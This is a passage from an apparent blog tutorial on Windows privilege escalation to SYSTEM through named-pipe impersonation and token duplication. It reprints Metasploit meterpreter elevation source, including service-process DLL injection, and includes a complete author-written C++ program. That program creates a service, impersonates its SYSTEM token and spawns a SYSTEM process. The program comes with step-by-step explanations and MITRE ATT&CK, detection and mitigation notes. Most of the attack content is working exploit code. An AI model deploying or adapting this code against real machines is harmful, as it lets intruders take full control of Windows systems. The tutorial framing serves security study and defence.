pipe.<br><br>// Clean-up:<br><br>service_stop(cpServiceName);<br>service_destroy(cpServiceName);<br><br>    // -&gt; Stops and destroys the service.<br>    // -&gt; Cleans up the thread and frees resources.</pre><p>the last code create a thread of elevate_namedpipe_thread method we going to explain it.</p><pre>/*<br> * Worker thread for named pipe impersonation. Creates a named pipe and impersonates <br> * the first client which connects to it.<br> */<br>DWORD THREADCALL elevate_namedpipe_thread( THREAD * thread )<br>{<br> DWORD dwResult              = ERROR_ACCESS_DENIED;<br> HANDLE hServerPipe          = NULL;<br> HANDLE hToken               = NULL;<br> char * cpServicePipe        = NULL;<br> Remote * remote             = NULL;<br> BYTE bMessage[128]          = {0};<br> DWORD dwBytes               = 0;<br><br> do<br> {<br>  if( !thread )<br>   BREAK_WITH_ERROR( &quot;[ELEVATE] elevate_namedpipe_thread. invalid thread&quot;, ERROR_BAD_ARGUMENTS );<br><br>  cpServicePipe = (char *)thread-&gt;parameter1;<br>  remote        = (Remote *)thread-&gt;parameter2;<br><br>  if( !cpServicePipe || !remote )<br>   BREAK_WITH_ERROR( &quot;[ELEVATE] elevate_namedpipe_thread. invalid thread arguments&quot;, ERROR_BAD_ARGUMENTS );<br><br>  dprintf(&quot;[ELEVATE] pipethread. CreateNamedPipe(%s)&quot;,cpServicePipe);<br><br>  // create the named pipe for the client service to connect to<br>  hServerPipe = CreateNamedPipe( cpServicePipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL );<br>  if( !hServerPipe )<br>   BREAK_ON_ERROR( &quot;[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed&quot; );<br><br>  while( TRUE )<br>  {<br>   if( event_poll( thread-&gt;sigterm, 0 ) )<br>    BREAK_WITH_ERROR( &quot;[ELEVATE] elevate_namedpipe_thread. thread-&gt;sigterm received&quot;, ERROR_DBG_TERMINATE_THREAD );<br><br>   // wait for a client to connect to our named pipe...<br>   if( !ConnectNamedPipe( hServerPipe, NULL ) )<br>   {<br>    if( GetLastError() != ERROR_PIPE_CONNECTED )<br>     continue;<br>   }<br><br>   dprintf(&quot;[ELEVATE] pipethread. got client conn.&quot;);<br><br>   // we can&#39;t impersonate a client untill we have performed a read on the pipe...<br>   if( !ReadFile( hServerPipe, &amp;bMessage, 1, &amp;dwBytes, NULL ) )<br>    CONTINUE_ON_ERROR( &quot;[ELEVATE] pipethread. ReadFile failed&quot; );<br><br>   // impersonate the client!<br>   if( !ImpersonateNamedPipeClient( hServerPipe ) )<br>    CONTINUE_ON_ERROR( &quot;[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed&quot; );<br><br>   // get a handle to this threads token<br>   if( !OpenThreadToken( GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &amp;hToken ) )<br>    CONTINUE_ON_ERROR( &quot;[ELEVATE] elevate_namedpipe_thread. OpenThreadToken failed&quot; );<br><br>   // now we can set the meterpreters thread token to that of our system <br>   // token so all subsequent meterpreter threads will use this token.<br>   core_update_thread_token( remote, hToken );<br><br>   dwResult = ERROR_SUCCESS;<br><br>   break;<br>  }<br><br> } while( 0 );<br><br> if( hServerPipe )<br> {<br>  DisconnectNamedPipe( hServerPipe );<br>  CLOSE_HANDLE( hServerPipe );<br> }<br><br> dprintf( &quot;[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d&quot;, dwResult );<br><br> return dwResult;<br>}<br><br></pre><pre>This function creates a Named Pipe, waits for a privileged process to connect to it, and then impersonates the client using the ImpersonateNamedPipeClient Windows API. Once impersonated, it extracts the SYSTEM-level token and applies it to the current Meterpreter session.<br>Code Breakdown<br>// Function Parameters and Setup<br><br>DWORD THREADCALL elevate_namedpipe_thread( THREAD * thread )<br><br>   /* Purpose: This thread function manages the entire named pipe impersonation process.<br>    Parameters:<br>        THREAD *thread: Encapsulates arguments passed to the thread, specifically:<br>            parameter1: Named pipe name (cpServicePipe).<br>            parameter2: Pointer to the Meterpreter remote structure (remote).<br>    Local Variables:<br>        hServerPipe: Handle for the server-side named pipe.<br>        hToken: Holds the token after impersonation.<br>        dwResult: Stores the function&#39;s exit status.<br>        bMessage[128]: Placeholder buffer for pipe communication.<br>*/ <br>// Named Pipe Creation<br><br>hServerPipe = CreateNamedPipe(<br>    cpServicePipe,<br>    PIPE_ACCESS_DUPLEX,<br>    PIPE_TYPE_MESSAGE | PIPE_WAIT,<br>    2, 0, 0, 0, NULL<br>);<br><br>/* <br>    API Used: CreateNamedPipe<br>        Purpose: Creates a named pipe to accept connections from privileged clients.<br>        Key Parameters:<br>            cpServicePipe: Name of the pipe.<br>            PIPE_ACCESS_DUPLEX: Allows two-way communication.<br>            PIPE_TYPE_MESSAGE | PIPE_WAIT: Configures the pipe for message-based synchronous communication.<br>            <br><br>If this fails, it exits with an error.<br><br>*/ <br>// Client Connection Handling<br><br>if (!ConnectNamedPipe(hServerPipe, NULL)) {<br>    if (GetLastError() != ERROR_PIPE_CONNECTED)<br>        continue;<br>}<br>/* <br>    API Used: ConnectNamedPipe<br>        Purpose: Waits for a privileged process (e.g., a SYSTEM service) to connect to the pipe.<br>        Error Handling:<br>            If the pipe is already connected (ERROR_PIPE_CONNECTED), it proceeds.<br>            Otherwise, it loops back to wait for another connection.<br>*/ <br>// Reading from the Pipe<br><br>if (!ReadFile(hServerPipe, &amp;bMessage, 1, &amp;dwBytes, NULL))<br>    CONTINUE_ON_ERROR(&quot;ReadFile failed&quot;);<br>/*<br>    API Used: ReadFile<br>        Purpose: Reads at least one byte from the pipe to establish the connection. This is a prerequisite for impersonation to work.<br>        Why Necessary?: Without reading, Windows won&#39;t consider the pipe &quot;connected,&quot; blocking the ImpersonateNamedPipeClient API.<br>*/ <br>// Impersonating the Client<br><br>if (!ImpersonateNamedPipeClient(hServerPipe))<br>    CONTINUE_ON_ERROR(&quot;ImpersonateNamedPipeClient failed&quot;);<br>/* <br>    API Used: ImpersonateNamedPipeClient<br>        Purpose: Temporarily assumes the token of the connected client (e.g., SYSTEM process).<br>        Effect: Allows the thread to operate with the privileges of the impersonated token.<br>*/<br><br>// Extracting the Token<br><br>if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &amp;hToken))<br>    CONTINUE_ON_ERROR(&quot;OpenThreadToken failed&quot;);<br><br>   /* API Used: OpenThreadToken<br>        Purpose: Extracts the impersonated token from the current thread.<br>        Access Rights: Requests TOKEN_ALL_ACCESS to enable full use of the token.<br>*/<br>//  Updating the Meterpreter Token<br><br>core_update_thread_token(remote, hToken);<br><br>    // Purpose: Assigns the extracted token to the Meterpreter session. This ensures subsequent actions (file access, process creation) inherit SYSTEM privileges.<br><br>// Cleanup and Exit<br><br>if (hServerPipe) {<br>    DisconnectNamedPipe(hServerPipe);<br>    CLOSE_HANDLE(hServerPipe);<br>}<br><br>  //  Cleanup: Closes the named pipe and releases resources.<br>   //  Return Value: dwResult indicates success or failure.</pre><p>after all this explanation let’s implement one with our hands in c++ and how this will show in Process Hacker tool.</p><pre>#include &lt;Windows.h&gt;<br>#include &lt;time.h&gt;<br>#include &lt;iostream&gt;<br><br>using namespace std;<br><br>// Copied from microsoft<br>BOOL SetPrivilege(HANDLE hToken, LPCSTR lpszPrivilege, BOOL bEnablePrivilege) {<br>    TOKEN_PRIVILEGES tp;<br>    LUID luid;<br><br>    if (!LookupPrivilegeValueA(NULL, lpszPrivilege, &amp;luid)) {<br>        printf(&quot;LookupPrivilegeValue error: %u\n&quot;, GetLastError());<br>        return FALSE;<br>    }<br><br>    tp.PrivilegeCount = 1;<br>    tp.Privileges[0].Luid = luid;<br>    tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;<br><br>    if (!AdjustTokenPrivileges(hToken, FALSE, &amp;tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {<br>        printf(&quot;AdjustTokenPrivileges error: %u\n&quot;, GetLastError());<br>        return FALSE;<br>    }<br><br>    return TRUE;<br>}<br><br><br>void ServiceProcess(){<br>        SC_HANDLE scManager = OpenSCManagerA(NULL,SERVICES_ACTIVE_DATABASE,SC_MANAGER_ALL_ACCESS);<br>        SC_HANDLE scService = CreateServiceA(scManager,&quot;HelpNmed&quot;,&quot;HelpNmed&quot;,<br>                SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,<br>                SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,<br>                &quot;C:\\Windows\\\System32\\cmd.exe /c echo Normal &gt; \\\\.\\pipe\\normalizationhelp&quot;,<br>                NULL, NULL, NULL, NULL, NULL);<br><br>        StartServiceA(scService,0,NULL);<br><br>        Sleep(5000);<br>        DeleteService(scService);<br><br>        CloseHandle(scManager);<br>        CloseHandle(scService);<br>}<br><br>int main(){<br><br>        HANDLE hToken;<br>    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken)) {<br>        printf(&quot;OpenProcessToken error: %u\n&quot;, GetLastError());<br>    }<br><br>    // Enable SeDebugPrivilege and SeImpersonatePrivilege<br>    SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);<br>    SetPrivilege(hToken, SE_IMPERSONATE_NAME, TRUE);<br>        CloseHandle(hToken);<br><br>        HANDLE hNormalPipe = CreateNamedPipeA(&quot;\\\\.\\pipe\\normalizationhelp&quot;,PIPE_ACCESS_DUPLEX,<br>                PIPE_TYPE_MESSAGE | PIPE_WAIT,PIPE_UNLIMITED_INSTANCES,<br>                1024,1024,0,NULL);<br><br>        HANDLE hThread = CreateThread(0,0,(LPTHREAD_START_ROUTINE)ServiceProcess,NULL,0,0);<br><br>        if(ConnectNamedPipe(hNormalPipe,NULL)){<br>                char pPipeBuf[512];<br>        DWORD dBRead = 0;<br>                ReadFile(hNormalPipe,&amp;pPipeBuf,512,&amp;dBRead,NULL);<br>                cout&lt;&lt;&quot;It&#39;s print fast.\n&quot;;<br>                // impersonate the service (SYSTEM)<br>        if (!ImpersonateNamedPipeClient(hNormalPipe)) {<br>                        printf(&quot;[-] Impersonate Not Working : %X&quot;,GetLastError());<br>        }<br><br>                WaitForSingleObject(hThread,INFINITE);<br><br>                HANDLE hNewToken = nullptr;<br>                OpenThreadToken(GetCurrentThread(),TOKEN_ALL_ACCESS,FALSE,&amp;hToken);<br>                DuplicateTokenEx(hToken,TOKEN_ALL_ACCESS,NULL,SecurityDelegation,TokenPrimary,&amp;hNewToken);<br><br>                STARTUPINFOA si;<br>        PROCESS_INFORMATION pi;<br>                ZeroMemory(&amp;si, sizeof(si));<br>        si.cb = sizeof(si);<br>        ZeroMemory(&amp;pi, sizeof(pi));<br>        if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, NULL, L&quot;notepad.exe&quot;, <br>                                                                        NULL, NULL, NULL, (LPSTARTUPINFOW)&amp;si, &amp;pi)) {<br>                        printf(&quot;[-] Cant create Procerss : %X&quot;,GetLastError());<br>        }<br><br><br>                DWORD len = 255;<br>                char username[255];<br>                GetUserName(username,&amp;len); // Should be A SYSTEM<br><br>                printf(&quot;username : %s&quot;,username);<br>        }else{<br>                printf(&quot;[-] Error : %X&quot;,GetLastError());<br>        }<br><br>        // revert back to original security context<br>    RevertToSelf();<br><br>        getchar();<br>        return 0;<br>}</pre><p><strong>simple explanation of the code:</strong></p><pre><br>// 1. Includes and Setup<br><br>#include &lt;Windows.h&gt;<br>#include &lt;time.h&gt;<br>#include &lt;iostream&gt;<br>using namespace std;<br><br> // -&gt;   Purpose: Includes the necessary headers for Windows API functions (Windows.h) and standard I/O (iostream).<br><br>// 2. SetPrivilege Function<br><br>/* <br>This function adjusts the privileges of a process or thread token.<br>Key Points:<br><br>    LookupPrivilegeValueA:<br>*/ <br>if (!LookupPrivilegeValueA(NULL, lpszPrivilege, &amp;luid)) {<br>    printf(&quot;LookupPrivilegeValue error: %u\n&quot;, GetLastError());<br>    return FALSE;<br>}<br>/* <br>    Retrieves the locally unique identifier (LUID) for a privilege name (e.g., SeDebugPrivilege or SeImpersonatePrivilege).<br>    Returns: The LUID is stored in luid.<br><br>Configure Privilege:<br>*/<br>tp.PrivilegeCount = 1;<br>tp.Privileges[0].Luid = luid;<br>tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;<br><br>   // -&gt; Sets up the privilege adjustment structure (TOKEN_PRIVILEGES).<br><br>// AdjustTokenPrivileges:<br><br>    if (!AdjustTokenPrivileges(hToken, FALSE, &amp;tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {<br>        printf(&quot;AdjustTokenPrivileges error: %u\n&quot;, GetLastError());<br>        return FALSE;<br>    }<br><br>  //      Enables or disables the specified privilege.<br><br>// 3. ServiceProcess Function<br><br>/* Creates and starts a service to interact with a named pipe.<br>Key Points:<br><br>    OpenSCManagerA:<br>*/<br>SC_HANDLE scManager = OpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);<br><br>   //  Opens the Service Control Manager for service management tasks.<br><br>// CreateServiceA:<br><br>SC_HANDLE scService = CreateServiceA(scManager, &quot;HelpNmed&quot;, &quot;HelpNmed&quot;,<br>    SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,<br>    SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,<br>    &quot;C:\\Windows\\System32\\cmd.exe /c echo Normal &gt; \\\\.\\pipe\\normalizationhelp&quot;,<br>    NULL, NULL, NULL, NULL, NULL);<br><br>    // Creates a new service called HelpNmed, which executes a command to write &quot;Normal&quot; to the named pipe.<br><br>// StartServiceA:<br><br>StartServiceA(scService, 0, NULL);<br><br>   // Starts the service, causing the command to execute.<br><br>// Cleanup:<br><br>    DeleteService(scService);<br>    CloseHandle(scManager);<br>    CloseHandle(scService);<br><br>       // Deletes the service and closes handles.<br><br>// 4. main Function<br>// Privilege Elevation<br><br>HANDLE hToken;<br>if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken)) {<br>    printf(&quot;OpenProcessToken error: %u\n&quot;, GetLastError());<br>}<br>SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);<br>SetPrivilege(hToken, SE_IMPERSONATE_NAME, TRUE);<br>CloseHandle(hToken);<br><br>    // Obtains the current process token and enables SeDebugPrivilege and SeImpersonatePrivilege for debugging and impersonation.<br><br>// Create Named Pipe<br><br>HANDLE hNormalPipe = CreateNamedPipeA(&quot;\\\\.\\pipe\\normalizationhelp&quot;, PIPE_ACCESS_DUPLEX,<br>    PIPE_TYPE_MESSAGE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES,<br>    1024, 1024, 0, NULL);<br><br>    /// Creates a named pipe \\.\pipe\normalizationhelp to communicate with the service created earlier.<br><br>// Service Thread<br><br>HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceProcess, NULL, 0, 0);<br><br>    // Starts a thread to execute ServiceProcess.<br><br>// Impersonation and Token Duplication<br><br>//    Wait for Service Output:<br><br>if (ConnectNamedPipe(hNormalPipe, NULL)) {<br>    ReadFile(hNormalPipe, &amp;pPipeBuf, 512, &amp;dBRead, NULL);<br>}<br><br>    // Waits for the service to connect to the named pipe and sends a message.<br><br>// Impersonate Client:<br><br>if (!ImpersonateNamedPipeClient(hNormalPipe)) {<br>    printf(&quot;[-] Impersonate Not Working : %X&quot;, GetLastError());<br>}<br><br>    // Impersonates the service (SYSTEM account).<br><br>// Duplicate Token:<br><br>    OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &amp;hToken);<br>    DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &amp;hNewToken);<br><br>      // Extracts the impersonated SYSTEM token and duplicates it for later use.<br><br>// Launch Elevated Process<br><br>if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, NULL, L&quot;notepad.exe&quot;, <br>    NULL, NULL, NULL, (LPSTARTUPINFOW)&amp;si, &amp;pi)) {<br>    printf(&quot;[-] Cant create Process : %X&quot;, GetLastError());<br>}<br><br> //   Launches notepad.exe with SYSTEM privileges using the duplicated token.<br><br>// 5. Revert and Cleanup<br><br>RevertToSelf();<br><br>   // Restores the original thread security context.</pre><p>Using <em>System Informer</em> is essentially the new name for <em>Process Hacker</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9xFbo0zcPnZsIQVVOx1_Zw.png" /></figure><p>1- Print the name of the user associated with the current thread witch it now Become SYSTEM.</p><p>2- Open A New Notepad Process.</p><p>3- The New Notepad process Run under SYSTEM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q9HTMoEt8QnJ4H4af9Z8Cg.png" /></figure><h3>Next Method will talk about is: <strong>Token duplication</strong></h3><p>Token duplication is a privilege escalation or lateral movement technique used to impersonate another user, often one with higher privileges, such as the SYSTEM account or a domain administrator. It exploits access to process or thread tokens to create a new token or use an existing one to perform actions under the impersonated user’s context.</p><p>Common TTPs include:</p><ol><li><strong>Stealing Access Tokens</strong>: Using API functions like OpenProcessToken and DuplicateTokenEx to gain access to a privileged account’s token.</li><li><strong>Impersonation with Named Pipes</strong>: Gaining access to a token by impersonating a privileged process connected to a named pipe (e.g., as implemented in Metasploit’s getsystem command).</li><li><strong>Using </strong><strong>SeDebugPrivilege and </strong><strong>SeImpersonatePrivilege</strong>: Enabling privileges to manipulate tokens of higher-privileged processes.</li></ol><h4>MITRE ATT&amp;CK Technique</h4><ul><li><strong>Technique</strong>: <strong>T1134.002 — Access Token Manipulation: Token Impersonation/Theft</strong></li><li><strong>Tactic</strong>: Privilege Escalation and Defense Evasion.</li><li><strong>Description</strong>: Attackers steal or manipulate access tokens to execute under another user’s privileges.</li><li><strong>Detection</strong>: Monitoring token creation, duplication, or unusual privilege elevation attempts.</li><li><strong>Mitigations</strong>: Restrict access to sensitive privileges, enforce least privilege policies, and monitor API calls such as DuplicateTokenEx.</li></ul><h4>APT Groups Known for Token Duplication</h4><p>Several APT groups leverage token duplication as part of their operational arsenal:</p><p><strong>APT29 (Cozy Bear)</strong>:</p><ul><li>Known for their stealthy operations, APT29 has leveraged token manipulation for privilege escalation and lateral movement within Windows environments during operations targeting governmental and organizational entities.</li></ul><p><strong>FIN6</strong>:</p><ul><li>This financially motivated group has used token duplication for lateral movement in enterprise networks, particularly targeting POS systems and sensitive financial data.</li></ul><p><strong>APT33</strong>:</p><ul><li>The group has reportedly used token impersonation alongside their use of tools like Mimikatz to further their objectives in cyber-espionage campaigns.</li></ul><h4>Real-World Usage Examples</h4><p><strong>APT29 and SolarWinds</strong>:</p><ul><li>In the SolarWinds campaign, attackers utilized token manipulation to gain access to privileged resources within compromised networks.</li></ul><p><strong>FIN6 Operations</strong>:</p><ul><li>By duplicating tokens from compromised administrator accounts, FIN6 exfiltrated payment card data while avoiding detection.</li></ul><p>This code, extracted from Metasploit’s <a href="https://github.com/rapid7/meterpreter/blob/master/source/extensions/priv/server/elevate/tokendup.c">tokendup.c</a>, leverages a more complex approach involving service injection. Here&#39;s a breakdown:</p><p><strong>Privilege Elevation:</strong></p><ul><li>The elevate_priv function is used to enable the SeDebugPrivilege, necessary for opening processes and threads of running services.</li></ul><p><strong>Service Enumeration and Injection:</strong></p><ul><li>The elevate_via_service_tokendup function iterates through running services.</li><li>For each service, it attempts to open a handle to the service’s process.</li><li>Using Reflective DLL Injection, the elevator.dll is injected into the service process.</li><li>The injected DLL attempts to obtain a System token by exploiting vulnerabilities or using legitimate APIs.</li><li>If successful, the DLL duplicates the System token and injects it into the current process.</li></ul><pre>#include &quot;precomp.h&quot;<br>#include &quot;tokendup.h&quot;<br>#include &quot;../../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h&quot;<br><br>/*<br> * Enable or disable a privilege in our processes current token.<br> */<br>BOOL elevate_priv( char * cpPrivilege, BOOL bEnable )<br>{<br> DWORD dwResult        = ERROR_SUCCESS;<br> HANDLE hToken         = NULL;<br> TOKEN_PRIVILEGES priv = {0};<br><br> do<br> {<br>  if( !cpPrivilege )<br>   BREAK_WITH_ERROR( &quot;[ELEVATE] elevate_priv. invalid arguments&quot;, ERROR_BAD_ARGUMENTS );<br><br>  if( !OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken ) )<br>   BREAK_ON_ERROR( &quot;[ELEVATE] elevate_priv. OpenProcessToken failed&quot; );<br>  <br>  priv.PrivilegeCount = 1;<br><br>  if( bEnable )<br>   priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;<br>  else<br>   priv.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;<br><br>  if( !LookupPrivilegeValue( NULL, cpPrivilege, &amp;priv.Privileges[0].Luid ) )<br>   BREAK_ON_ERROR( &quot;[ELEVATE] elevate_priv. LookupPrivilegeValue failed&quot; );<br><br>  if( !AdjustTokenPrivileges( hToken, FALSE, &amp;priv, 0, NULL, NULL ) )<br>   BREAK_ON_ERROR( &quot;[ELEVATE] elevate_priv. AdjustTokenPrivileges failed&quot; );<br><br> } while( 0 );<br> <br> CLOSE_HANDLE( hToken );<br><br> SetLastError( dwResult );<br><br> if( dwResult == ERROR_SUCCESS )<br>  return TRUE;<br><br> return FALSE;<br>}<br><br>/*<br> * Elevate from local admin to local system via code injection in a system service.<br> * Does not work on NT4 (needed api&#39;s missing) Works on 2000, XP, 2003. On Vista, 2008 or 7 we cant open<br> * service process from a non elevated admin.<br> *<br> * A current limitation in LoadRemoteLibraryR prevents this from working across <br> * architectures so we just filter out running this from an x64 platform for now.<br> */<br>DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )<br>{<br> DWORD dwResult                   = ERROR_SUCCESS;<br> HANDLE hToken                    = NULL;<br> HANDLE hTokenDup                 = NULL;<br> HANDLE hProcess                  = NULL;<br> HANDLE hThread                   = NULL;<br> HANDLE hManager                  = NULL;<br> HANDLE hService                  = NULL;<br> LPVOID lpServiceBuffer           = NULL;<br> LPVOID lpRemoteCommandLine       = NULL;<br> ENUM_SERVICE_STATUS * lpServices = NULL;<br> char * cpServiceName             = NULL;<br> SERVICE_STATUS_PROCESS status    = {0};<br> char cCommandLine[128]           = {0};<br> OSVERSIONINFO os                 = {0};<br> DWORD dwServiceLength            = 0;<br> DWORD dwBytes                    = 0;<br> DWORD index                      = 0;<br> DWORD dwServicesReturned         = 0;<br> DWORD dwExitCode                 = 0;<br><br> do<br> {<br>  // only works on x86 systems for now...<br>  if( elevate_getnativearch() != PROCESS_ARCH_X86 )<br>   BREAK_WITH_ERROR( &quot;[ELEVATE] elevate_via_service_debug. Unsuported platform&quot;, ERROR_BAD_ENVIRONMENT );<br><br>  os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );<br><br>  if( !GetVersionEx( &amp;os ) )<br>   BREAK_ON_ERROR( &quot;[ELEVATE] elevate_via_service_debug: GetVersionEx failed&quot; )<br><br>  // filter out Windows NT4 <br>  if ( os.dwMajorVersion == 4 &amp;&amp; os.dwMinorVersion == 0 )<br>   BREAK_WITH_ERROR( &quot;[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.&quot;, ERROR_BAD_ENVIRONMENT )<br><br>  cpServiceName   = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME );<br>  dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );<br>  lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );<br><br>  if( !dwServiceLength || !lpServiceBuffer )<br>   BREAK_WITH_ERROR( &quot;[ELEVATE] elevate_via_service_debug. invalid arguments&quot;, ERROR_BAD_ARGUMENTS );<br><br>  if( !elevate_priv( SE_DEBUG_NAME, TRUE ) )<br>   BREAK_ON_ERROR( &quot;[ELEVATE] elevate_via_service_debug. elevate_priv SE_DEBUG_NAME failed&quot; );<br><br>  hManager = OpenSCManagerA( NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE );<br>  if( !hManager )<br>   BREAK_ON_ERROR( &quot;[ELEVATE] elevate_via_service_debug. OpenSCManagerA failed&quot; );<br>  <br>  if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, NULL, 0, &amp;dwBytes, &amp;dwServicesReturned, NULL ) )<br>  {<br>   if( GetLastError() != ERROR_MORE_DATA )<br>    BREAK_ON_ERROR( &quot;[ELEVATE] elevate_via_service_debug. EnumServicesStatus 1 failed&quot; );<br>  }<br><br>  lpServices = (ENUM_SERVICE_STATUS *)malloc( dwBytes );<br>  if( !lpServices )<br>   BREAK_ON_ERROR( &quot;[ELEVATE] elevate_via_service_debug. malloc lpServices failed&quot; );<br><br>  if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, lpServices, dwBytes, &amp;dwBytes, &amp;dwServicesReturned, NULL ) )<br>   BREAK_ON_ERROR( &quot;[ELEVATE] elevate_via_service_debug. EnumServicesStatus 2 failed&quot; );<br> <br>  dwResult = ERROR_ACCESS_DENIED;<br><br>  // we enumerate all services, injecting our elevator.dll (via RDI), if the injected thread returns successfully<br>  // it means we have been given a system token so we duplicate it as a primary token for use by metsrv.<br>  for( index=0 ; index&lt;dwServicesReturned ; index++ )<br>  {<br>   do<br>   {<br>    hService = OpenServiceA( hManager, lpServices[index].lpServiceName, SERVICE_QUERY_STATUS ); <br>    if( !hService )<br>     break;<br><br>    if( !QueryServiceStatusEx( hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&amp;status, sizeof(SERVICE_STATUS_PROCESS), &amp;dwBytes ) )<br>     break;<br>    <br>    if( status.dwCurrentState != SERVICE_RUNNING )<br>     break;<br><br>    // open a handle to this service (assumes we have SeDebugPrivilege)...<br>    hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, status.dwProcessId );<br>    if( !hProcess )<br>     break;<br><br>    dprintf( &quot;[ELEVATE] elevate_via_service_debug. trying [%d] lpDisplayName=%s, lpServiceName=%s, dwProcessId=%d&quot;, index, lpServices[index].lpDisplayName, lpServices[index].lpServiceName, status.dwProcessId  );<br> <br>    _snprintf_s( cCommandLine, sizeof(cCommandLine), sizeof(cCommandLine), &quot;/t:0x%08X\x00&quot;, GetCurrentThreadId() );<br><br>    // alloc some space and write the commandline which we will pass to the injected dll...<br>    lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); <br>    if( !lpRemoteCommandLine )<br>     break; <br><br>    if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) )<br>     break;<br><br>    // use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll<br>    hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine );<br>    if( !hThread )<br>     break;<br><br>    // we will only wait 30 seconds for the elevator.dll to do its job, if this times out we assume it failed.<br>    if( WaitForSingleObject( hThread, 30000 ) != WAIT_OBJECT_0 )<br>     break;<br><br>    // get the exit code for our injected elevator.dll<br>    if( !GetExitCodeThread( hThread, &amp;dwExitCode ) )<br>     break;<br><br>    // if the exit code was successfull we have been given a local system token, so we duplicate it<br>    // as a primary token for use by metsrv<br>    if( dwExitCode == ERROR_SUCCESS )<br>    {<br>     if( OpenThreadToken( GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &amp;hToken ) )<br>     {<br><br>      if( DuplicateToken( hToken, SecurityImpersonation, &amp;hTokenDup ) )<br>      {<br>       core_update_thread_token( remote, hTokenDup );<br>       dwResult = ERROR_SUCCESS;<br>       break;<br>      }<br>     }<br>    }<br><br>   } while( 0 );<br><br>   CLOSE_SERVICE_HANDLE( hService );<br><br>   CLOSE_HANDLE( hProcess );<br><br>   CLOSE_HANDLE( hThread );<br><br>   CLOSE_HANDLE( hToken );<br>   <br>   if( dwResult == ERROR_SUCCESS )<br>    break;<br>  }<br><br> } while( 0 );<br><br> CLOSE_SERVICE_HANDLE( hManager );<br><br> if( lpServices )<br>  free( lpServices );<br><br> SetLastError( dwResult );<br><br> return dwResult;<br>}</pre><p>Let’s break down the code line by line . This explanation focuses on the function elevate_priv and elevate_via_service_tokendup, which use several crucial Windows APIs for privilege escalation and process manipulation.</p><h3>1. elevate_priv Function Breakdown</h3><pre>BOOL elevate_priv(LPCTSTR cpPrivilege, BOOL bEnable)<br>and explain the used Windows APIs in detail{</pre><p><strong>Explanation</strong>:</p><ul><li>elevate_priv is a function that takes two parameters: cpPrivilege (the name of the privilege to modify) and bEnable (a boolean flag indicating whether to enable or disable the privilege).</li><li>BOOL is the return type, indicating success (TRUE) or failure (FALSE).</li></ul><pre>if (cpPrivilege == NULL)<br>    {<br>        return FALSE;<br>    }</pre><p><strong>Explanation</strong>:</p><ul><li>This checks if the privilege name passed to the function is NULL. If it is, the function returns FALSE (failure).</li></ul><pre>HANDLE hToken;<br>    TOKEN_PRIVILEGES tp;<br>    DWORD dwRet;</pre><p><strong>Explanation</strong>:</p><ul><li>hToken: A handle to the process token.</li><li>tp: A structure of type TOKEN_PRIVILEGES that defines a set of privileges to be enabled or disabled.</li><li>dwRet: Stores the result of Windows API function calls.</li></ul><pre>// Open the current process token<br>    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken))<br>    {<br>        return 